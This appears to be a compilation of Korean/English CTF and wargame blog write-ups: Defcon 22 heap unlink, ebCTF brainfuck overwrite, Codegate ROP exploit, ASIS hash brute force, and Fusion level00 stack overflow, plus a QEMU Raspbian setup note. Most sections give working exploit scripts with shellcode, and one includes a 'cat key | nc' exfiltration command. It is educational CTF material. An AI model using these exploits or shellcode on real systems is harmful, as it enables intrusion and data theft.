Defcon 22 quals - babyfirst heap writeup

mangoui-MacBook-Pro:~ kjungi704$ nc 10.211.55.4 8989 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=80A9008][size=1246]
[ALLOC][loc=80A94F0][size=1121]
[ALLOC][loc=80A9958][size=947]
[ALLOC][loc=80A9D10][size=741]
[ALLOC][loc=80AA000][size=706]
[ALLOC][loc=80AA2C8][size=819]
[ALLOC][loc=80AA600][size=673]
[ALLOC][loc=80AA8A8][size=1004]
[ALLOC][loc=80AAC98][size=952]
[ALLOC][loc=80AB058][size=755]
[ALLOC][loc=80AB350][size=260]
[ALLOC][loc=80AB458][size=877]
[ALLOC][loc=80AB7D0][size=1245]
[ALLOC][loc=80ABCB8][size=1047]
[ALLOC][loc=80AC0D8][size=1152]
[ALLOC][loc=80AC560][size=1047]
[ALLOC][loc=80AC980][size=1059]
[ALLOC][loc=80ACDA8][size=906]
[ALLOC][loc=80AD138][size=879]
[ALLOC][loc=80AD4B0][size=823]
Write to object [size=260]:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Copied 93 bytes.
[FREE][address=80A9008]
[FREE][address=80A94F0]
[FREE][address=80A9958]
[FREE][address=80A9D10]
[FREE][address=80AA000]
[FREE][address=80AA2C8]
[FREE][address=80AA600]
[FREE][address=80AA8A8]
[FREE][address=80AAC98]
[FREE][address=80AB058]
[FREE][address=80AB350]
[FREE][address=80AB458]
[FREE][address=80AB7D0]
[FREE][address=80ABCB8]
[FREE][address=80AC0D8]
[FREE][address=80AC560]
[FREE][address=80AC980]
[FREE][address=80ACDA8]
[FREE][address=80AD138]
[FREE][address=80AD4B0]
Did you forget to read the flag with your shellcode?
Exiting

Doug lee malloc exploit chal!!!

* 11th block = size 260 fixed

* except 11th , size random

--IDEA-------------------------------------------------------------

1. fill 11th block with shellcode+NOP

2. make fake chunk size=261, fd = printf_got, bk = 11th block addr

-------------------------------------------------------------------

#!/usr/bin/python
from struct import *
from socket import *

p = lambda x : pack("<L",x)
up = lambda x : unpack("<L",x)[0]

s = socket(AF_INET,SOCK_STREAM)
s.connect(('10.211.55.4',8989))

shellcode = "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"+\
	      "\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"+\
	      "\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"
printf_got = 0x804bffc
size = 260
fd = printf_got
bk = 0
payload = ""

print s.recv(1024)
hehe = s.recv(2056)
hehe = hehe.split("\n")
for i in hehe:
	if i.find("size=260"):
		bk = int(i[12:19],16)
		break

payload += shellcode.ljust(260,"\x90")
payload += p(size)
payload += p(fd)
payload += p(bk)

s.send(payload+"\n")
print s.recv(2000)

while 1:
	print s.recv(1024)
	cmd = raw_input("$ ")
	s.send(cmd+"\n")

CLEAR!

ebCTF 2013 bf writeup

ebCTF bf exploit!

mangoui-MacBook-Pro:~ kjungi704$ nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: >>.
0x00000000

THANKS FOR SUPPORTING US WITH YOUR BRAIN!

hmm...

brainfuck
> : ++ptr;
< : --ptr;
+ : ++*ptr;
- : --*ptr;
. ; putchar(*ptr);
, : *ptr = getchar();
[ : while(*ptr){
] : }

bf_main ret = 0x08048a6d

shell = 0x08048a6e

mangoui-MacBook-Pro:~ kjungi704$ (python -c 'print ">"*51+"."')|nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: 0x08048a9d

THANKS FOR SUPPORTING US WITH YOUR BRAIN!

0x9c - 0x6e = 46

mangoui-MacBook-Pro:~ kjungi704$ (python -c 'print ">"*51+"-"*46';cat)|nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: id
uid=0(root) gid=0(root) groups=0(root)
whoami
root

Clear!

Defcon22 2014 Quals!! 데프콘2014 본선진출!

HackingForChiMac 27pts goes up to finals in Vegas!!

Codegate junior 2014 nuclear exploit

POC exploit code

#!/usr/bin/python
from socket import *
from struct import *
from time import *

p = lambda x : pack("<L",x)
up = lambda x : unpack("<L",x)[0]

s = socket(AF_INET,SOCK_STREAM)
s.connect(('127.0.0.1',1129))

pppr = 0x804917d
ppr = pppr+1
pr = ppr+1
sockopt_got = 0x0804B00C
recv_plt = 0x080488E0
send_plt = 0x08048900
recv_inner = 0x08048A6F
send_inner = 0x08048A0D
freespace = 0x0804b088
offset = 0xb2860
cmd = "cat key | nc localhost 8989"

def leak_passcode():
	s.recv(1024)
	s.send("target")
	s.recv(1024)
	s.send("a"*512)
	s.recv(1024)
	ps = s.recv(1024)
	ps = ps.split(":")
	return (ps[1])[1:]

def sockoptgot_leak(ps):
	s.send("launch")
	s.recv(1024)
	s.send(ps+"\n")
	s.recv(1024)
	payload = "a"*528
	payload += p(send_inner)
	payload += p(ppr)
	payload += p(4)
	payload += p(sockopt_got)
	
	payload += p(recv_inner)
	payload += p(pppr)
	payload += p(4)
	payload += p(freespace)
	payload += p(len(cmd)+1)
	
	payload += p(recv_inner)
	payload += p(pppr)
	payload += p(4)
	payload += p(recv_inner)
	payload += p(4)
	
	payload += p(recv_inner)
	payload += p(0xdeadbeef)
	payload += p(freespace)
	
	s.send(payload+"\n")
	s.recv(1024)
	sleep(1)
	recved = up(s.recv(1024)[:4])
	print "this is socketopt : "+hex(recved)
	system = recved-offset
	print "this is system : "+hex(system)
	return system
	
if __name__=="__main__":
	passcode = leak_passcode()
	sys = sockoptgot_leak(passcode)
	s.send(cmd+"\x00"+"\n")
	s.send(p(sys))
	print "[*]boom boom boom"

mac os x qemu raspbian

1. (Install brew)

ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)"

2. (Install qemu&etc)

brew install https://raw.github.com/Homebrew/homebrew-dupes/master/apple-gcc42.rb
brew install https://raw.github.com/Homebrew/homebrew-dupes/master/apple-gcc42.rb
wget http://xecdesign.com/downloads/linux-qemu/kernel-qemu

3. (First Boot)

jungiui-MacBook-Pro:RaspberryPi kjungi704$ qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash console=ttyAMA0" -hda 2014-01-07-wheezy-raspbian.img 

4. (Modify)

nano /etc/ld.so.preload
#/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so

nano /etc/udev/rules.d/90-qemu.rules
KERNEL=="sda", SYMLINK+="mmcblk0"
KERNEL=="sda?", SYMLINK+="mmcblk0p%n",

nano /etc/X11/xorg.conf
Section "Screen"
Identifier "Default Screen"
SubSection "Display"
Depth 16
Modes "800x600" "640x480"
EndSubSection
EndSection

shutdown -h now

5. (Final Boot)

jungiui-MacBook-Pro:RaspberryPi kjungi704$ qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw console=ttyAMA0" -hda 2014-01-07-wheezy-raspbian.img 

Kernel-Image download

ASIS ctf 2014 Hidden flag Writeup

문제 지문따위 없다.

말그대로 hidden flag 이다. 

음...  x-flag라는것이 수상하다..

그리하여 저 modal box 의 소스를 보니 아래와 같은 jscript 내용이 있었다.

$(document).on('hidden.bs.modal', function (e) {
    e.preventDefault();
    $(e.target).removeData('bs.modal');
    
});
    var i=0;

    var result=['Please try again!', 'Try harder!', 'Your answer is not correct!', 'The submitted flag is not correct!', 'False flag!', 'Wrong answer!', 'Sorry!'];
    var final_result="Do you want to hack me?";

$('#flag_submission').submit(function(e){
    e.preventDefault();
    var shaObj = new jsSHA(document.forms["flag_submission"]["id_flag"].value, "TEXT");
    var hash = shaObj.getHash("SHA-256", "HEX");
    var shaObj2 = new jsSHA(hash, "TEXT");
    var hash2 = shaObj2.getHash("SHA-256", "HEX");
    if (document.forms["flag_submission"]["check"].value !== hash2) {
        if ($("#id_flag").next().length == 0){
            $('

').insertAfter('#id_flag');
        }
        if (i++>6){
            $('#answer').removeClass('alert-danger').addClass('alert');
            $('#answer').text(final_result);
        }
        else $('#answer').text(result[Math.floor(Math.random() * 7)]);
        return false;
    }

    $.ajax({
        type: "POST",
        url: "/challenges/22/",
        data: $('form').serialize(),
        success: function(msg){
            $("#ModalContainer").html(msg)
            $("#modal-dialog").modal('hide');
        },
        error: function(){
            alert("failure");
        }
    });
});

굳이 해석하자면 내가 인증시도한 flag 값을 sha256 hex로 두번 하고, 소스상의 name="check" 값인 2b127c77074e44b6e74074b1eb8d32dfe27fe78e6a05e302baed68e2cc643ca1
와 비교한다.

1. x-flag:
   ASIS_b6b?244608c2?c2e869cb56?67b64?b1

위의  x-flag값 중간중간에 물음표가 있으므로 bruteforcing을 거쳐 ?에 들어갈 단어를 알아낸다!!!

#!/usr/bin/python
from hashlib import *
print "+"*40
a = "b6b?244608c2?c2e869cb56?67b64?b1"
dic = "abcdef0123456789"
haha = []
for i in dic:
 for j in dic:
  for l in dic:
   for q in dic:
    haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
   haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
  haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
 haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])

for i in haha:
 if sha256(sha256("ASIS_"+i).hexdigest()).hexdigest() == "2b127c77074e44b6e74074b1eb8d32dfe27fe78e6a05e302baed68e2cc643ca1":
  print "ASIS_"+i
  exit()

소스가 참 더럽다 더 짧고 이쁘게 짤수있었지만 인증이 먼저이기에...

root@mango:~/asis# python hiddenflag.py 
++++++++++++++++++++++++++++++++++++++++
ASIS_b6be244608c27c2e869cb56167b649b1

clear!

exploit-exercises Fusion level00

Level00 source code

#include "../common/common.c"  



int fix_path(char *path)

{

  char resolved[128];

  

  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open

  strcpy(path, resolved);

}



char *parse_http_request()

{

  char buffer[1024];

  char *path;

  char *q;



  printf("[debug] buffer is at 0x%08x :-)\n", buffer);



  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); //if nothing

  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");	//if not "GET "



  path = &buffer[4];

  q = strchr(path, ' ');

  if(! q) errx(0, "No protocol version specified");

  *q++ = 0;

  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");



  fix_path(path);



  printf("trying to access %s\n", path);

  return path;

}



int main(int argc, char **argv, char **envp)

{

  int fd;

  char *p;



  background_process(NAME, UID, GID);  

  fd = serve_forever(PORT);

  set_io(fd);



  parse_http_request();  

}

exploit source 

#!/usr/bin/python

from struct import *

p = lambda x : pack("<L",x)



shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +\

"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" +\

"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd" +\

"\x80"

ret = 0xbf999288 

payload = ""

payload += "GET "

payload += "\x90"*139

payload += p(ret)

payload += " HTTP/1.1 "

payload += "\x90"*50

payload += shellcode



print payload

clear!